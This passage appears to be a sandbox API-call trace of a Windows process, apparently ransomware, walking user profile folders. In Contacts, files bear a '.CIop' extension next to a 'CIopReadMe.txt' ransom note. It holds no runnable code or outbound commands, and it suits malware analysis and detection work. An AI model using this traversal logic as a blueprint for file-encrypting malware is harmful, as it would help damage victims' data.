[0148.652] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.652] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0148.652] SetErrorMode (uMode=0x1) returned 0x1 [0148.653] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0148.653] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0148.653] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0148.653] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0148.653] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.653] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0148.653] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0148.653] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.653] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0148.653] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0148.654] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.654] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0148.654] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0148.654] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.654] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.654] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0148.654] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0148.654] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.654] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.654] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.654] SetErrorMode (uMode=0x1) returned 0x1 [0148.654] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.654] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.654] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.654] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0148.654] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.655] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0148.655] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0148.655] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0148.655] lstrlenW (lpString="ntuser.dat") returned 10 [0148.655] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.655] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.dat") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.dat") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.dat") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.dat") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.dat") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0148.656] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0148.656] lstrlenW (lpString="ntuser.ini") returned 10 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.656] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.657] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.657] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.657] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.657] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.657] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0148.657] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.657] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0148.657] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0148.657] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.657] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.657] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.657] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0148.657] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0148.657] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0148.658] SetErrorMode (uMode=0x1) returned 0x1 [0148.658] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0148.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0148.658] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0148.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0148.658] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.658] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0148.658] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0148.658] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.658] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0148.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0148.658] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.658] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0148.658] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0148.658] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.659] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.659] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0148.659] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0148.659] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0148.659] SetErrorMode (uMode=0x1) returned 0x1 [0148.659] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0148.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0148.659] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0148.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0148.659] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.659] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0148.659] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0148.659] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.659] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0148.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0148.659] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.659] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0148.659] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0148.659] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.660] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.660] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0148.660] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0148.660] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0148.660] SetErrorMode (uMode=0x1) returned 0x1 [0148.660] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0148.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0148.660] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0148.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0148.660] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.660] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0148.660] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0148.660] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.660] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.660] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0148.660] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0148.660] lstrlenW (lpString=".CIop") returned 5 [0148.660] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.660] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0148.660] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0148.660] lstrlenW (lpString=".CIop") returned 5 [0148.660] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.661] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0148.661] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0148.661] lstrlenW (lpString=".CIop") returned 5 [0148.661] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.661] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.661] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.661] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.661] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.661] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.661] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.661] lstrlenW (lpString="desktop.ini") returned 11 [0148.661] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.661] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0148.661] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0148.661] lstrlenW (lpString=".CIop") returned 5 [0148.661] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.661] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0148.661] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0148.661] lstrlenW (lpString=".CIop") returned 5 [0148.661] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.661] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.661] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.661] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0148.661] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0148.661] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.662] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0148.662] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.662] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.662] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.662] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.662] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.662] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0148.662] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0148.662] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0148.662] SetErrorMode (uMode=0x1) returned 0x1 [0148.662] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0148.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0148.662] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0148.663] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0148.663] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 